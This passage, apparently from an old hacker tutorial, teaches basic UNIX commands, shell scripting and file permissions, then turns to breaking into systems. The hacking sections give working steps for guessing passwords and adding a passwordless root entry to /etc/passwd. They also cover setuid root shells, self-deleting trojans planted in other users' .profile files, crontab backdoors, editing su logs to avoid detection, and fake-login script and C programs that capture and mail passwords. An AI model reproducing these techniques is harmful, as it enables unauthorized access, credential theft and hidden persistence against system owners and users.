[ the ".." means use the name one directory back. ]
$ cd ../datwiz
[translates to cd /usr/datwiz]
$ pwd
/usr/datwiz
$ cd $home
[goto home dir]
$ pwd
/usr/sirhack
rm - delete a file. syntax "rm filename" or "rm -r directory name"
$ rm note.text
$ ls
hithere
runme
src
$
write - chat with another user. Well, "write" to another user.
syntax: "write username"
$ write scythian
scythian has been notified
Hey Scy! What up??
Message from scythian on tty001 at 17:32
hey!
me: So, hows life?
scy: ok, I guess.
me: gotta go finish this text file.
scy: ok
me: control-D [to exit program]
$
who [w,who,whodo] - print who is online
$ who
login term logontime
scythian + tty001 17:20
phiberO + tty002 15:50
sirhack + tty003 17:21
datawiz - tty004 11:20
glitch - tty666 66:60
$
the "who" commands may vary in the information given. a "+" means
you can "write" to their terminal, a "-" means you cannot.
man - show a manual page entry. syntax "man command name" This is a help
program. If you wanted to know how to use... "who" you'd type
$ man who
WHO(1) xxx......
and it would tell you.
stty - set your terminal characteristics. You WILL have to do "man stty"
since each stty is different, it seems like.
an example would be:
$ stty -parenb
to make the data params N,8,1. A lot of Unixes operate at
e,7,1 by default.
sz,rz - send and recieve via zmodem
rx,sx - send / recieve via xmodem
rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix.
umodem - send/recieve via umodem.
$ sz filename
ready to send...
$ rz filename
please send your file....
...etc..
ed - text editor. Usage "ed filename" to create a file that doesn't
exist, just enter in "ed filename"
some versions of ed will give you a prompt, such as "*" others will not
$ ed newtext
0
* a
This is line 1
This is line 2
[control-z]
* 1 [to see line one]
This is line 1
* a [keep adding]
This is line 3
[control-z]
*0a [add after line 0]
This is THE first line
[control-z]
1,4l
This is THE first line
This is line 1
This is line 2
This is line 3
* w
71
* q
$
The 71 is number of bytes written.
a = append
l = list
# = print line number
w - write
l fname = load fname
s fname = save to fname
w = write to current file
q = quit
mesg - turn write permissions on or off to your terminal (allow chat)
format "mesg y" or "mesg n"
cc - the C compiler. don't worry about this one right now.
chmod - change mode of a file. Change the access in other words.
syntax: "chmod mode filename"
$ chmod a+r newtext
Now everyone can read newtext.
a = all
r = read. This will be explained further in the File System section.
chown - change the owner of a file.
syntax: "chown owner filename"
$ chown scythian newtext
$
chgrp - change the group [explained later] of a file.
syntax: "chgrp group file"
$ chgrp root runme
$
finger - print out basic info on an account. Format: finger username
grep - search for patterns in a file. syntax: "grep pattern file"
$ grep 1 newtext
This is Line 1
$ grep THE newtext
This is THE first line
$ grep "THE line 1" newtext
$
mail - This is a very useful utility. Obviously, you already know what it
is by its name. There are several MAIL utilities, such as ELM, MUSH
and MSH, but the basic "mail" program is called "mail". The usage
is:
"mail username@address" or
"mail username"
or
"mail"
or "mail addr1!addr2!addr3!user"
"mail username@address" - This is used to send mail to someone on
another system, which is usually another UNIX, but some DOS machines and some
VAX machines can recieve Unix Mail. When you use "mail user@address" the
system you are on MUST have a "smart mailer" [known as smail], and must
have what we call system maps. The smart mailer will find the "adress" part
of the command and expand it into the full pathname usually. I could look
like this: mail phiber@optik
then look like this to the computer:
mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
Do not worry about it, I was merely explaining the principal of the thing.
Now, if there is no smart mailer online, you'll have to know the FULL path
name of the person you wish to mail to. For Instance, I want to mail to
.. phiber. I'd do this if there were no smart mailer:
$ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
Hey Guy. Whats up? Well, gotta go. Nice long message huh?
[control-D]
$
Then, when he got it, there would be about 20 lines of information, with
like a post mark from every system my message went thru, and the "from" line
would look like so:
>From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>
Now, for local mailing, just type in "mail username" where username
is the login you want to send mail to. Then type in your message. Then
end it with a control-D.
To read YOUR mail, just type in mail. IE:
$ mail
From scythian ............
To sirhack ............
Subject: Well....
Arghhh!
?
The dots represent omitted crap. Each Mail program makes its own headings.
That ? is a prompt. At this prompt I can type:
d - delete
f username - forward to username
w fname - write message to a file named fname
s fname - save message with header into file
q - quit / update mail
x - quit, but don't change a thing
m username - mail to username
r - reply
[enter] - read next message
+ - go forward one message
- : go back one
h - print out message headers that are in your mailbox.
There are others, to see them, you'd usually hit '?'.
--------
If you send mail to someone not on your system, you will have to wait longer
for a reply, since it is just as a letter. A "postman" has to pick it up.
The system might call out, and use UUCP to transfer mail. Usually, uucp
accounts are no good to one, unless you have uucp available to intercept mail.
ps - process. This command allows you to see what you are actually doing
in memory. Everytime you run a program, it gets assigned a Process Id number
(PID), for accounting purposes, and so it can be tracked in memory, as
well as shut down by you, or root. usually, the first thing in a process
list given by "ps" is your shell name. Say I was logged in under sirhack,
using the shell "csh" and running "watch scythian". The watch program would
go into the background, meaning I'd still be able to do things while it was
running:
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$
That is a shortened PS. That is the default listing [a brief one].
The TTY column represents the "tty" [i/o device] that the process is being
run from. This is only useful really if you are using layers (don't worry)
or more than one person is logged in with the same account name. Now,
"ps -f" would give a full process listing on yourself, so instead of
seeing just plain ole "watch" you'd most likely see "watch scythian"
kill - kill a process. This is used to terminate a program in memory obvio-
ously. You can only kill processes you own [ones you started], unless you
are root, or your EUID is the same as the process you want to kill.
(Will explain euid later). If you kill the shell process, you are logged
off. By the same token, if you kill someone else's shell process, they
are logged off. So, if I said "kill 122" I would be logged off. However,
kill only sends a signal to UNIX telling it to kill off a process. If
you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
like it, which may be never. So, you can specify urgency! Try "kill -num pid"
Kill -9 pid is a definite kill almost instantly. So if I did this:
$ kill 122
$ kill 123
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$ kill -9 123
[123]: killed
$ kill -9 122
garbage
NO CARRIER
Also, you can do "kill -1 0" to kill your shell process to log yourself off.
This is useful in scripts (explained later).
-------------------
Shell Programmin'
-------------------
Shell Programming is basically making a "script" file for the
standard shell, being sh, ksh, csh, or something on those lines. Its
like an MSDOS batch file, but more complex, and more Flexible.
This can be useful in one aspect of hacking.
First, lets get into variables. Variables obviously can be assigned
values. These values can be string values, or numberic values.
number=1
That would assign 1 to the variable named "number".
string=Hi There
or
string="Hi There"
Both would assign "Hi there" to a variable.
Using a variable is different though. When you wish to use a variable
you must procede it with a dollar ($) sign. These variables can
be used as arguments in programs. When I said that scripts are
like batch files, I meant it. You can enter in any name of a program
in a script file, and it will execute it. Here is a sample script.
counter=1
arg1="-uf"
arg2="scythian"
ps $arg1 $arg2
echo $counter
That script would translate to "ps -uf scythian" then would print
"1" after that was finished. ECHO prints something on the screen
whether it be numeric, or a string constant.
Other Commands / Examples:
read - reads someting into a variable. format : read variable . No dollar
sign is needed here! If I wwanted to get someone's name, I could
put:
echo "What is your name?"
read hisname
echo Hello $hisname
What is your name?
Sir Hackalot
Hello Sir Hackalot
Remember, read can read numeric values also.
trap - This can watch for someone to use the interrupt character. (Ctrl-c)
format: trap "command ; command ; command ; etc.."
Example:
trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
'You gotta see this through!'"
Now, if I hit control-c during the script after this statement was
executed, I'd get:
Noway!! You are not getting rid of me that easy
You gotta see this through!
exit : format :exit [num] This exists the shell [quits] with return
code of num.
-----
CASE
-----
Case execution is like a menu choice deal. The format of the command
or structure is :
case variable in
1) command;
command;;
2) command;
command;
command;;
*) command;;
esac
Each part can have any number of commands. The last command however
must have a ";;". Take this menu:
echo "Please Choose:"
echo "(D)irectory (L)ogoff (S)hell"
read choice
case $choice in
D) echo "Doing Directory...";
ls -al ;;
L) echo Bye;
kill -1 0;;
S) exit;;
*) Echo "Error! Not a command";;
esac
The esac marks the end of a case function. It must be after the
LAST command.
Loops
-----
Ok, loops. There are two loop functins. the for loops, and the
repeat.
repeat looks like this: repeat something somethin1 somethin2
this would repeat a section of your script for each "something".
say i did this:
repeat scythian sirhack prophet
I may see "scythian" then sirhack then prophet on my screen.
The for loop is defined as "for variable in something
do
..
..
done"
an example:
for counter in 1 2 3
do
echo $counter
done
That would print out 1 then 2 then 3.
Using TEST
----------
The format: Test variable option variable
The optios are:
-eq =
-ne <> (not equal)
-gt >
-lt <
-ge >=
-le <=
for strings its: = for equal != for not equal.
If the condition is true, a zero is returned. Watch:
test 3 -eq 3
that would be test 3 = 3, and 0 would be returned.
EXPR
----
This is for numeric functions. You cannot simply type in
echo 4 + 5
and get an answer most of the time. you must say:
expr variable [or number] operator variable2 [or number]
the operators are:
+ add
- subtract
* multiply
/ divide
? - power (on some systems)
example : expr 4 + 5
var = expr 4 + 5
var would hold 9.
On some systems, expr sometimes prints out a formula. I mean,
22+12 is not the same as 22 + 12. If you said expr 22+12 you
would see:
22+12
If you did expr 22 + 12 you'd see:
34
SYSTEM VARIABLES
----------------
These are variables used by the shell, and are usually set in the
system wide .profile [explained later].
HOME - location of your home directory.
PS1 - The prompt you are given. usually $ . On BSD its usually &
PATH - This is the search path for programs. When you type in a program
to be run, it is not in memory; it must be loaded off disk. Most commands
are not in Memory like MSDOS. If a program is on the search path, it may
be executed no matter where you are. If not, you must be in the directory
where the program is. A path is a set of directories basically, seperated by
":"'s. Here is a typical search path:
:/bin:/etc:/usr/lbin:$HOME:
When you tried to execute a program, Unix would look for it in /bin,
/etc, /usr/lbin, and your home directory, and if its not found, an error is
spewed out. It searches directories in ORDER of the path. SO if you had a
program named "sh" in your home directory, and typed in "sh", EVEN if
you were in your home dir, it would execute the one in /bin. So, you
must set your paths wisely. Public access Unixes do this for you, but systems
you may encounter may have no path set.
TERM - This is your terminal type. UNIX has a library of functions called
"CURSES" which can take advantage of any terminal, provided the escape
codes are found. You must have your term set to something if you run
screen oriented programs. The escape codes/names of terms are found
in a file called TERMCAP. Don't worry about that. just set your term
to ansi or vt100. CURSES will let you know if it cannot manipulate your
terminal emulation.
-------------------
The C compiler
-------------------
This Will be BRIEF. Why? Becuase if you want to learn C, go
buy a book. I don't have time to write another text file on
C, for it would be huge. Basically, most executables are programmed
in C. Source code files on unix are found as filename.c .
To compile one, type in "cc filename.c". Not all C programs
will compile, since they may depend on other files not there, or
are just modules. If you see a think called "makefile" you can
usually type in just "make" at the command prompt, and something
will be compiled, or be attempted to compile. When using make or
CC, it would be wise to use the background operand since
compiling sometimes takes for ever.
IE:
$ cc login.c&
[1234]
$
(The 1234 was the process # it got identified as).
_____________________________________________________________________________
---------------
The FILE SYSTEM
---------------
This is an instrumental part of UNIX. If you do not understand this
section, you'll never get the hang of hacking Unix, since a lot of Pranks
you can play, and things you can do to "raise your access" depend on it.
First, Let's start out by talking about the directory structure. It is
basically a Hiearchy file system, meaning, it starts out at a root directory
and expands, just as MSDOS, and possibly AmigaDos.
Here is a Directory Tree of sorts: (d) means directory
/ (root dir)
|
|--------------------|
bin (d) usr (d)
----?--------------------
| | |
sirhack(d) scythian (d) prophet (d)
|
src (d)
Now, this particular system contains the following directories:
/
/bin
/usr
/usr/sirhack
/usr/sirhack/src
/usr/scythian
/usr/prophet
Hopefully, you understood that part, and you should. Everything spawns from
the root directory.
o File Permissions!
------------------
Now, this is really the biggie. File Permissions. It is not that hard to
understand file permissions, but I will explain them deeply anyway.
OK, now you must think of user groups as well as user names. Everyone
belongs to a group. at the $ prompt, you could type in 'id' to see what
group you are in. Ok, groups are used to allow people access certain things,
instead of just having one person controlling/having access to certain files.
Remember also, that Unix looks at someone's UID to determine access, not
user name.
Ok. File permissions are not really that complicated. Each file has an owner
This OWNER is usually the one who creates the file, either by copying a file
or just by plain editing one. The program CHOWN can be used to give someone
ownership of a file. Remember that the owner of a file must be the one who
runs CHOWN, since he is the only one that can change the permissions of a file
Also, there is a group owner, which is basically the group that you were in
when the file was created. You would use chgrp to change the group a file is
in.
Now, Files can have Execute permissions, read permissions, or write permission.
If you have execute permission, you know that you can just type in the name
of that program at the command line, and it will execute. If you have read
permission on a file, you can obviously read the file, or do anything that
reads the file in, such as copying the file or cat[ing] it (Typing it).
If you do NOT have access to read a file, you can't do anything that requires
reading in the file. This is the same respect with write permission. Now,
all the permissions are arranged into 3 groups. The first is the owner's
permissions. He may have the permissions set for himself to read and execute
the file, but not write to it. This would keep him from deleting it.
The second group is the group permissions. Take an elongated directory
for an example:
$ ls -l runme
r-xrwxr-- sirhack root 10990 March 21 runme
ok. Now, "root" is the groupname this file is in. "sirhack" is the owner.
Now, if the group named 'root' has access to read, write and execute, they
could do just that. Say .. Scythian came across the file, and was in the root
user group. He could read write or execute the file. Now, say datawiz came
across it, but was in the "users" group. The group permissions would not
apply to him, meaning he would have no permissions, so he couldn't touch
the file, right? Sorta. There is a third group of permissions, and this is
the "other" group. This means that the permissions in the "other" group
apply to everyone but the owner, and the users in the same group as the file.
Look at the directory entry above. the r-x-rwxr-- is the permissions line.
The first three characters are the permissions for the owner (r-x). The
"r-x" translates to "Read and execute permissions, but no write permissions"
the second set of three, r-xRWXr-- (the ones in capital letters) are the group
permissions. Those three characters mean "Read, write, and execution allowed"
The 3rd set, r-xrwxR-- is the permissions for everyone else. It means
"Reading allowed, but nothing else". A directory would look something like
this:
$ ls -l
drwxr-xr-x sirhack root 342 March 11 src
A directory has a "d" at the beggining of the permissions line. Now, the
owner of the directory (sirhack) can read from the directory, write in the
directory, and execute programs from the directory. The root group and every-
one else can only read from the directory, and execute off the directory.
So, If I changed the directory to be executable only, this is
what it would look like:
$ chmod go-r
$ ls
drwx--x--x sirhack root 342 March 11 src
Now, if someone went into the directory besides "sirhack", they could only
execute programs in the directory. If they did an "ls" to get a directory
of src, when they were inside src, it would say "cannot read directory".
If there is a file that is readable in the directory, but the directory is
not readable, it is sometimes possible to read the file anyway.
If you do not have execute permissions in a directory, you won't be able to
execute anything in the directory, most of the time.
_____________________________________________________________________________
--------------
Hacking:
--------------
The first step in hacking a UNIX is to get into the operating system
by finding a valid account/password. The object of hacking is usually to
get root (full privileges), so if you're lucky enough to get in as root,
you need not read anymore of this hacking phile , and get into the
"Having Fun" Section. Hacking can also be just to get other's accounts also.
Getting IN
----------
The first thing to do is to GET IN to the Unix. I mean, get past
the login prompt. That is the very first thing. When you come across a UNIX,
sometimes it will identify itself by saying something like,
"Young INC. Company UNIX"
or Just
"Young Inc. Please login"
Here is where you try the defaults I listed. If you get in with those
you can get into the more advanced hacking (getting root). If you do something
wrong at login, you'll get the message
"login incorrect"
This was meant to confuse hackers, or keep the wondering. Why?
Well, you don't know if you've enterred an account that does not exist, or one
that does exist, and got the wrong password. If you login as root and it says
"Not on Console", you have a problem. You have to login as someone else,
and use SU to become root.
Now, this is where you have to think. If you cannot get in with a
default, you are obviously going to have to find something else to
login as. Some systems provide a good way to do this by allowing the use
of command logins. These are ones which simply execute a command, then
logoff. However, the commands they execute are usually useful. For instance
there are three common command logins that tell you who is online at the
present time. They are:
who
rwho
finger
If you ever successfully get one of these to work, you can write down
the usernames of those online, and try to logon as them. Lots of unsuspecting
users use there login name as their password. For instance, the user
"bob" may have a password named "bob" or "bob1". This, as you know, is
not smart, but they don't expect a hacking spree to be carried out on
them. They merely want to be able to login fast.
If a command login does not exist, or is not useful at all, you will
have to brainstorm. A good thing to try is to use the name of the unix
that it is identified as. For instance, Young INC's Unix may have an account
named "young"
Young, INC. Please Login.
login: young
UNIX SYSTEM V REL 3.2
(c)1984 AT&T..
..
..
..
Some unixes have an account open named "test". This is also a default,
but surprisingly enough, it is sometimes left open. It is good to try to
use it. Remember, brainstorming is the key to a unix that has no apparent
defaults open. Think of things that may go along with the Unix. type
in stuff like "info", "password", "dial", "bbs" and other things that
may pertain to the system. "att" is present on some machines also.
ONCE INSIDE -- SPECIAL FILES
----------------------------
There are several files that are very important to the UNIX
environment. They are as follows:
/etc/passwd - This is probably the most important file on a Unix. Why?
well, basically, it holds the valid usernames/passwords.
This is important since only those listed in the passwd
file can login, and even then some can't (will explain).
The format for the passwordfile is this:
username:password:UserID:GroupID:description(or real name):homedir:shell
Here are two sample entries:
sirhack:89fGc%?7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh
In the first line, sirhack is a valid user. The second
field, however, is supposed to be a password, right? Well,
it is, but it's encrypted with the DES encryption standard.
the part that says "&a,Ty" may include a date after the comma
(Ty) that tells unix when the password expires. Yes, the
date is encrypted into two alphanumeric characters (Ty).
In the Second example, the demo account has no password.
so at Login, you could type in:
login: demo
UNIX system V
(c)1984 AT&T
..
..
But with sirhack, you'd have to enter a password. Now,
the password file is great, since a lot of times, you;ll
be able to browse through it to look for unpassworded
accounts. Remember that some accounts can be restricted
from logging in, as such:
bin:*:2:2:binaccount:/bin:/bin/sh
The '*' means you won't be able to login with it. Your
only hope would be to run an SUID shell (explained later).
A note about the DES encryption: each unix makes its own unique
"keyword" to base encryption off of. Most of the time its just random letters
and numbers. Its chosen at installation time by the operating system.
Now, decrypting DES encrypted things ain't easy. Its pretty much
impossible. Especially decrypting the password file (decrypting the password
field within the password file to be exact). Always beware a hacker who
says he decrypted a password file. He's full of shit. Passwords are
never decrypted on unix, but rather, a system call is made to a function
called "crypt" from within the C language, and the string you enter as
the password gets encrypted, and compared to the encrypted password. If
they match, you're in. Now, there are password hackers, but they donot
decrypt the password file, but rather, encrypt words from a dictionary
and try them against every account (by crypting/comparing) until it finds
a match (later on!). Remember, few, if none, have decrypted the password
file successfuly.
/etc/group - This file contains The valid groups. The group file is usually
defined as this:
groupname:password:groupid:users in group
Once again, passwords are encrypted here too. If you see a blank
in the password entry you can become part of that group by
using the utility "newgrp". Now, there are some cases in
which even groups with no password will allow only certain
users to be assigned to the group via the newgrp command. Usually,
if the last field is left blank, that means any user can use newgrp
to get that group's access. Otherwise, only the users specified in
the last field can enter the group via newgrp.
Newgrp is just a program that will change your group current
group id you are logged on under to the one you specify. The
syntax for it is: newgrp groupname
Now, if you find a group un passworded, and use newgrp to
enter it, and it asks for a password, you are not allowed to use
the group. I will explain this further in The "SU & Newgrp" section.
/etc/hosts - this file contains a list of hosts it is connected to thru
a hardware network (like an x.25 link or something), or sometimes
just thru UUCP. This is a good file when you are hacking a
large network, since it tells you systems you can use with
rsh (Remote Shell, not restricted shell), rlogin, and telnet,
as well as other ethernet/x.25 link programs.
/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
Several directories, but it is usually in /usr/adm. This file
is what it sounds like. Its a log file, for the program SU.
What it is for is to keep a record of who uses SU and when.
whenever you use SU, your best bet would be to edit this file
if possible, and I'll tell you how and why in the section
about using "su".
/usr/adm/loginlog
or /usr/adm/acct/loginlog -
This is a log file, keeping track of the logins.
Its purpose is merely for accounting and "security review". Really,
sometimes this file is never found, since a lot of systems keep the
logging off.
/usr/adm/errlog
or errlog - This is the error log. It could be located anywhere. It
keeps track of all serious and even not so serious errors.
Usually, it will contain an error code, then a situation.
the error code can be from 1-10, the higher the number, the
worse the error. Error code 6 is usually used when you try
to hack. "login" logs your attempt in errlog with error code
6. Error code 10 means, in a nutshell, "SYSTEM CRASH".
/usr/adm/culog - This file contains entries that tell when you used cu,
where you called and so forth. Another security thing.
/usr/mail/<userLogin> - this is where the program "mail" stores its mail.
to read a particular mailbox, so they are called,
you must be that user, in the user group "mail" or
root. each mailbox is just a name. for instance,
if my login was "sirhack" my mail file would usually
be: /usr/mail/sirhack
/usr/lib/cron/crontabs - This contains the instructions for cron, usually.
Will get into this later.
/etc/shadow - A "shadowed" password file. Will talk about this later.
-- The BIN account --
Well, right now, I'd like to take a moment to talk about the account
"bin". While it is only a user level account, it is very powerful. It is
the owner of most of the files, and on most systems, it owns /etc/passwd,
THE most important file on a unix. See, the bin account owns most of the
"bin" (binary) files, as well as others used by the binary files, such
as login. Now, knowing what you know about file permissions, if bin owns
the passwd file, you can edit passwd and add a root entry for yourself.
You could do this via the edit command:
$ ed passwd
10999 [The size of passwd varies]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
{control-d}
* w
* q
$
Then, you could say: exec login, then you could login as sirhack, and
you'd be root.
/\/\/\/\/\/\/\/\/
Hacking..........
/\/\/\/\/\/\/\/\/
--------------
Account Adding
--------------
There are other programs that will add users to the system, instead
of ed. But most of these programs will NOT allow a root level user to be
added, or anything less than a UID of 100. One of these programs is
named "adduser". Now, the reason I have stuck this little section in, is
for those who want to use a unix for something useful. Say you want a
"mailing address". If the unix has uucp on it, or is a big college,
chances are, it will do mail transfers. You'll have to test the unix
by trying to send mail to a friend somewhere, or just mailing yourself.
If the mailer is identified as "smail" when you mail yourself (the program
name will be imbedded in the message) that probably means that the system
will send out UUCP mail. This is a good way to keep in contact with people.
Now, this is why you'd want a semi-permanent account. The way to achieve this
is by adding an account similar to those already on the system. If all the
user-level accounts (UID >= 100) are three letter abbriviations, say
"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
via adduser, and make a name like sally jane marshall or something
(they don't expect hackers to put in female names) and have the account
named sjm. See, in the account description (like Mr. Hackalot above), that
is where the real name is usually stored. So, sjm might look like this:
sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
Of course, you will password protect this account, right?
Also, group id's don't have to be above 100, but you must put the account
into one that exists. Now, once you login with this account, the first
thing you'd want to do is execute "passwd" to set a password up. If you
don't, chances are someone else 'll do it for you (Then you'll be SOL).
-------------------
Set The User ID
-------------------
This is porbably one of the most used schemes. Setting up an "UID-
Shell". What does this mean? Well, it basically means you are going
to set the user-bit on a program. The program most commonly used is
a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access
to whatever the owner of the file does. A UID shell sets the user-ID of
the person who executes it to the owner of the program. So if root
owns a uid shell, then you become root when you run it. This is an
alternate way to become root.
Say you get in and modify the passwd file and make a root level
account unpassworded, so you can drop in. Of course, you almost HAVE to
get rid of that account or else it WILL be noticed eventually. So, what
you would do is set up a regular user account for yourself, then, make
a uid shell. Usually you would use /bin/sh to do it. After adding
the regular user to the passwd file, and setting up his home directory,
you could do something like this:
(assume you set up the account: shk)
# cp /bin/sh /usr/shk/runme
# chmod a+s /usr/shk/runme
Thats all there would be to it. When you logged in as shk, you could just
type in:
$ runme
#
See? You'd then be root. Here is a thing to do:
$ id
uid=104(shk) gid=50(user)
$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)
#
The euid is the "effective" user ID. UID-shells only set the effective
userid, not the real user-id. But, the effective user id over-rides the
real user id. Now, you can, if you wanted to just be annoying, make
the utilities suid to root. What do I mean? For instance, make 'ls'
a root 'shell'. :
# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
..
......
etc crap
Ls would then be able to pry into ANY directory. If you did the same to
"cat" you could view any file. If you did it to rm, you could delete any
file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on
the system (usually).
How do I get root?
------------------
Good question indeed. To make a program set the user-id shell to root,
you have to be root, unless you're lucky. What do I mean? Well, say
you find a program that sets the user-id to root. If you have access
to write to that file, guess what? you can copy over it, but keep
the uid bit set. So, say you see that the program chsh is setting
the user id too root. You can copy /bin/sh over it.
$ ls -l
rwsrwsrws root other 10999 Jan 4 chsh
$ cp /bin/sh chsh
$ chsh
#
See? That is just one way. There are others, which I will now talk
about.
More on setting the UID
-----------------------
Now, the generic form for making a program set the User-ID bit
is to use this command:
chmod a+s file
Where 'file' is a valid existing file. Now, only those who own the file
can set the user ID bit. Remember, anything YOU create, YOU own, so if
you copy th /bin/sh, the one you are logged in as owns it, or IF the
UID is set to something else, the New UID owns the file. This brings
me to BAD file permissions.
II. HACKING : Bad Directory Permissions
Now, what do I mean for bad directory permissions? Well, look for
files that YOU can write to, and above all, DIRECTORIES you can write to.
If you have write permissions on a file, you can modify it. Now, this comes
in handy when wanting to steal someone's access. If you can write to
a user's .profile, you are in business. You can have that user's .profile
create a suid shell for you to run when You next logon after the user.
If the .profile is writable to you, you can do this:
$ ed .profile
[some number will be here]
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
(control-d)
? w
[new filesize will be shown]
? q
$
Now, when the user next logs on, the .profile will create .runme which
will set your ID to the user whose .profile you changed. Ideally, you'll
go back in and zap those lines after the suid is created, and you'll create
a suid somewhere else, and delete the one in his dir. The .runme will
not appear in the user's REGULAR directory list, it will only show up
if he does "ls -a" (or ls with a -a combination), because, the '.' makes
a file hidden.
The above was a TROJAN HORSE, which is one of the most widely used/abused
method of gaining more power on a unix. The above could be done in C via
the system() command, or by just plain using open(), chmod(), and the like.
* Remember to check and see if the root user's profile is writeable *
* it is located at /.profile (usually) *
The BEST thing that could happen is to find a user's directory writeable
by you. Why? well, you could replace all the files in the directory
with your own devious scripts, or C trojans. Even if a file is not
writeable by you, you can still overwrite it by deleteing it. If you
can read various files, such as the user's .profile, you can make a
self deleting trojan as so:
$ cp .profile temp.pro
$ ed .profile
1234
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
mv temp.pro .profile
(control-d)
? w
[another number]
? q
$ chown that_user temp.pro
What happens is that you make a copy of the .profile before you change it.
Then, you change the original. When he runs it, the steps are made, then
the original version is placed over the current, so if the idiot looks in
his .profile, he won't see anything out of the ordinary, except that he
could notice in a long listing that the change date is very recent, but
most users are not paranoid enough to do extensive checks on their files,
except sysadm files (such as passwd).
Now, remember, even though you can write to a dir, you may not be able
to write to a file without deleting it. If you do not have write perms
for that file, you'll have to delete it and write something in its place
(put a file with the same name there). The most important thing to remember
if you have to delete a .profile is to CHANGE the OWNER back after you
construct a new one (hehe) for that user. He could easily notice that his
.profile was changed and he'll know who did it. YES, you can change the
owner to someone else besides yourself and the original owner (as to throw
him off), but this is not wise as keeping access usually relies on the fact
that they don't know you are around.
You can easily change cron files if you can write to them. I'm not going
to go into detail about cronfile formats here, just find the crontab files
and modify them to create a shell somewhere as root every once in a while,
and set the user-id.
III. Trojan Horses on Detached terminals.
Basically this: You can send garbage to a user's screen and
mess him up bad enough to force a logoff, creating a detached
account. Then you can execute a trojan horse off that terminal in
place of login or something, so the next one who calls can hit the
trojan horse. This USUALLY takes the form of a fake login and
write the username/pw entererred to disk.
Now, there are other trojan horses available for you to write. Now,
don't go thinking about a virus, for they don't work unless ROOT runs
them. Anyway, a common trjan would be a shell script to get the
password, and mail it to you. Now, you can replace the code for
the self deleting trojan with one saying something like:
echo "login: \c"
read lgin
echo off (works on some systems)
(if above not available...: stty -noecho)
echo "Password:\c"
read pw
echo on
echo "Login: $lgin - Pword: $pw" | mail you
Now, the best way to use this is to put it in a seperate script file
so it can be deleted as part of the self deleting trojan. A quick
modification, removing the "login: " and leaving the password
may have it look like SU, so you can get the root password. But
make sure the program deletes itself. Here is a sample trojan
login in C:
#include <stdio.h>
/* Get the necessary defs.. */
main()
{
char *name[80];
char *pw[20];
FILE *strm;
printf("login: ");
gets(name);
pw = getpass("Password:");
strm = fopen("/WhereEver/Whateverfile","a");
fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
fclose(strm);
/* put some kind of error below... or something... */
printf("Bus Error - Core Dumped\n");
exit(1);
}
The program gets the login, and the password, and appends it to
a file (/wherever/whateverfile), and creates the file if it can,
and if its not there. That is just an example. Network Annoyances
come later.
IV. Odd systems
There may be systems you can log in to with no problem, and find some
slack menu, database, or word processor as your shell, with no way to the
command interpreter (sh, ksh, etc..). Don't give up here. Some systems will
let you login as root, but give you a menu which will allow you to add an
account. However, ones that do this usually have some purchased software
package running, and the people who made the software KNOW that the people
who bought it are idiots, and the thing will sometimes only allow you to
add accounts with user-id 100 or greater, with their special menushell as
a shell. You probably won't get to pick the shell, the program will probably
stick one on the user you created which is very limiting. HOWEVER, sometimes
you can edit accounts, and it will list accounts you can edit on the screen.
HOWEVER, these programs usually only list those with UIDS > 100 so you don't
edit the good accounts, however, they donot stop you from editing an account
with a UID < 100. The "editing" usually only involves changing the password
on the account. If an account has a * for a password, the standard passwd
program which changes programs, will say no pw exists, and will ask you to
enter one. (wallah! You have just freed an account for yourself. Usually
bin and sys have a * for a password). If one exists you'll have to enter
the old Password (I hope you know it!) for that account. Then, you are
in the same boat as before. (BTW -- These wierd systems are usually
Xenix/386, Xenix/286, or Altos/286)
With word processors, usually you can select the load command,
and when the word processor prompts for a file, you can select the passwd
file, to look for open accounts, or at least valid ones to hack. An example
would be the informix system. You can get a word processor with that such
as Samna word, or something, and those Lamers will not protect against
shit like that. Why? The Passwd file HAS to be readable by all for the most
part, so each program can "stat" you. However, word processors could be made
to restrict editing to a directory, or set of directories. Here is an
example:
$ id
uid=100(sirhack) gid=100(users)
$ sword
(word processor comes up)
(select LOAD A FILE)
<Edit File>: /etc/passwd
<Loading..>
(you see: )
root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
sirhack:dld!k%%?%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
...
Now I have found an account to take over! "datawiz" will get me in with no
trouble, then I can change his password, which he will not like at all.
Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
will menu drive all the important shit, even creating users, but you must
have ansi or something.
You can usually tell when you'll get a menu. Sometimes on UNIX
SYSTEM V, when it says TERM = (termtype), and is waiting for
you to press return or whatever, you will probably get a menu.. ack.
V. Shadowed Password files
Not much to say about this. all it is, is when every password field
in the password file has an "x" or just a single character. What
that does is screw you, becuase you cannot read the shadowed password
file, only root can, and it contains all the passwords, so you will
not know what accounts have no passwords, etc.
There are a lot of other schemes for hacking unix, lots of others, from
writing assembly code that modifies the PCB through self-changing code which
the interrupt handler doesn't catch, and things like that. However, I do
not want to give away everything, and this was not meant for advanced Unix
Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
assembly language or anything. Now I will Talk about Internet.
--->>> InterNet <<<---
Why do I want to talk about InterNet? Well, because it is a prime
example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
